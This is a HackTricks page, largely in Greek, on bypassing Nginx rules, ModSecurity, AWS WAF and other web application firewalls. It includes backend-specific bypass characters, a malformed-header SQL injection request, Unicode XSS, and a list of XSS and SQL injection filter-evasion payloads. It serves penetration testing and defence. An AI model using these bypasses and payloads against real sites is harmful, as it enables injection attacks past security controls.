17 KiB
Proxy / WAF Protections Bypass
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Υποστήριξη HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στο 💬 Discord group ή στο telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
{% embed url="https://websec.nl/" %}
Bypass Nginx ACL Rules with Pathname Manipulation
Τεχνικές από αυτή την έρευνα.
Παράδειγμα κανόνα Nginx:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
Για να αποτραπούν οι παρακάμψεις, το Nginx εκτελεί κανονικοποίηση διαδρομής πριν από τον έλεγχο. Ωστόσο, αν ο διακομιστής backend εκτελεί διαφορετική κανονικοποίηση (αφαιρώντας χαρακτήρες που δεν αφαιρεί το nginx), μπορεί να είναι δυνατή η παράκαμψη αυτής της άμυνας.
NodeJS - Express
Nginx Version | Node.js Bypass Characters |
---|---|
1.22.0 | \xA0 |
1.21.6 | \xA0 |
1.20.2 | \xA0 , \x09 , \x0C |
1.18.0 | \xA0 , \x09 , \x0C |
1.16.1 | \xA0 , \x09 , \x0C |
Flask
Nginx Version | Flask Bypass Characters |
---|---|
1.22.0 | \x85 , \xA0 |
1.21.6 | \x85 , \xA0 |
1.20.2 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.18.0 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.16.1 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
Spring Boot
Nginx Version | Spring Boot Bypass Characters |
---|---|
1.22.0 | ; |
1.21.6 | ; |
1.20.2 | \x09 , ; |
1.18.0 | \x09 , ; |
1.16.1 | \x09 , ; |
PHP-FPM
Διαμόρφωση Nginx FPM:
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
Nginx είναι ρυθμισμένο να μπλοκάρει την πρόσβαση στο /admin.php
, αλλά είναι δυνατόν να παρακαμφθεί αυτό με την πρόσβαση στο /admin.php/index.php
.
Πώς να αποτρέψετε
location ~* ^/admin {
deny all;
}
Bypass Mod Security Rules
Path Confusion
Σε αυτή την ανάρτηση εξηγείται ότι το ModSecurity v3 (μέχρι 3.0.12), υλοποιούσε εσφαλμένα τη μεταβλητή REQUEST_FILENAME
η οποία προοριζόταν να περιέχει τη διαδρομή που προσπελάστηκε (μέχρι την αρχή των παραμέτρων). Αυτό συμβαίνει επειδή εκτελούσε μια αποκωδικοποίηση URL για να αποκτήσει τη διαδρομή.
Ως εκ τούτου, ένα αίτημα όπως το http://example.com/foo%3f';alert(1);foo=
στο mod security θα υποθέσει ότι η διαδρομή είναι απλώς /foo
επειδή το %3f
μετατρέπεται σε ?
που τερματίζει τη διαδρομή URL, αλλά στην πραγματικότητα η διαδρομή που θα λάβει ο διακομιστής θα είναι /foo%3f';alert(1);foo=
.
Οι μεταβλητές REQUEST_BASENAME
και PATH_INFO
επηρεάστηκαν επίσης από αυτό το σφάλμα.
Κάτι παρόμοιο συνέβη στην έκδοση 2 του Mod Security που επέτρεπε την παράκαμψη μιας προστασίας που εμπόδιζε τους χρήστες να προσπελάσουν αρχεία με συγκεκριμένες επεκτάσεις σχετικές με αρχεία αντιγράφων ασφαλείας (όπως το .bak
) απλά στέλνοντας την τελεία κωδικοποιημένη σε %2e
, για παράδειγμα: https://example.com/backup%2ebak
.
Bypass AWS WAF ACL
Malformed Header
Αυτή η έρευνα αναφέρει ότι ήταν δυνατό να παρακαμφθούν οι κανόνες AWS WAF που εφαρμόζονταν σε HTTP headers στέλνοντας έναν "κακώς σχηματισμένο" header που δεν αναλύθηκε σωστά από την AWS αλλά αναλύθηκε από τον backend server.
Για παράδειγμα, στέλνοντας το ακόλουθο αίτημα με μια SQL injection στον header X-Query:
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
Ήταν δυνατόν να παρακαμφθεί το AWS WAF επειδή δεν καταλάβαινε ότι η επόμενη γραμμή είναι μέρος της τιμής της κεφαλίδας ενώ ο διακομιστής NODEJS το καταλάβαινε (αυτό διορθώθηκε).
Γενικές παρακάμψεις WAF
Όρια Μεγέθους Αιτήσεων
Συνήθως, τα WAF έχουν ένα συγκεκριμένο όριο μήκους αιτήσεων για έλεγχο και αν μια αίτηση POST/PUT/PATCH είναι πάνω από αυτό, το WAF δεν θα ελέγξει την αίτηση.
- Για το AWS WAF, μπορείτε να ελέγξετε την τεκμηρίωση:
Μέγιστο μέγεθος σώματος αίτησης ιστού που μπορεί να ελεγχθεί για προστασίες Application Load Balancer και AWS AppSync | 8 KB |
Μέγιστο μέγεθος σώματος αίτησης ιστού που μπορεί να ελεγχθεί για προστασίες CloudFront, API Gateway, Amazon Cognito, App Runner και Verified Access** | 64 KB |
- Από τα έγγραφα του Azure:
Παλαιότερα Web Application Firewalls με Core Rule Set 3.1 (ή χαμηλότερα) επιτρέπουν μηνύματα μεγαλύτερα από 128 KB απενεργοποιώντας την επιθεώρηση σώματος αίτησης, αλλά αυτά τα μηνύματα δεν θα ελεγχθούν για ευπάθειες. Για νεότερες εκδόσεις (Core Rule Set 3.2 ή νεότερες), το ίδιο μπορεί να γίνει απενεργοποιώντας το μέγιστο όριο σώματος αίτησης. Όταν μια αίτηση υπερβαίνει το όριο μεγέθους:
Αν είναι λειτουργία πρόληψης: Καταγράφει και μπλοκάρει την αίτηση.
Αν είναι λειτουργία ανίχνευσης: Ελέγχει μέχρι το όριο, αγνοεί το υπόλοιπο και καταγράφει αν το Content-Length
υπερβαίνει το όριο.
- Από Akamai:
Από προεπιλογή, το WAF ελέγχει μόνο τα πρώτα 8KB μιας αίτησης. Μπορεί να αυξήσει το όριο έως 128KB προσθέτοντας Προηγμένα Μεταδεδομένα.
- Από Cloudflare:
Έως 128KB.
Απόκρυψη
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
Unicode Compatability
Ανάλογα με την υλοποίηση της κανονικοποίησης Unicode (περισσότερες πληροφορίες εδώ), χαρακτήρες που μοιράζονται την συμβατότητα Unicode μπορεί να είναι σε θέση να παρακάμψουν το WAF και να εκτελούνται ως το προοριζόμενο payload. Συμβατοί χαρακτήρες μπορούν να βρεθούν εδώ.
Example
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
H2C Smuggling
{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}
IP Rotation
- https://github.com/ustayready/fireprox: Δημιουργία ενός URL πύλης API για χρήση με το ffuf
- https://github.com/rootcathacking/catspin: Παρόμοιο με το fireprox
- https://github.com/PortSwigger/ip-rotate: Πρόσθετο Burp Suite που χρησιμοποιεί IP πύλης API
- https://github.com/fyoorer/ShadowClone: Ένας δυναμικά καθορισμένος αριθμός περιβαλλόντων παραμέτρων ενεργοποιείται με βάση το μέγεθος του αρχείου εισόδου και τον παράγοντα διαχωρισμού, με την είσοδο να διαχωρίζεται σε κομμάτια για παράλληλη εκτέλεση, όπως 100 περιβάλλοντα να επεξεργάζονται 100 κομμάτια από ένα αρχείο εισόδου 10,000 γραμμών με παράγοντα διαχωρισμού 100 γραμμών.
Regex Bypasses
Διαφορετικές τεχνικές μπορούν να χρησιμοποιηθούν για να παρακαμφθούν τα φίλτρα regex στα τείχη προστασίας. Παραδείγματα περιλαμβάνουν εναλλαγή πεζών-κεφαλαίων, προσθήκη διακοπών γραμμής και κωδικοποίηση φορτίων. Πόροι για τις διάφορες παρακάμψεις μπορούν να βρεθούν στο PayloadsAllTheThings και OWASP. Τα παραδείγματα παρακάτω προήλθαν από αυτό το άρθρο.
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
Tools
- nowafpls: Πρόσθετο Burp για την προσθήκη άχρηστων δεδομένων σε αιτήματα για την παράκαμψη των WAFs με βάση το μήκος
References
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/
- https://www.youtube.com/watch?v=0OMmWtU2Y_g
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.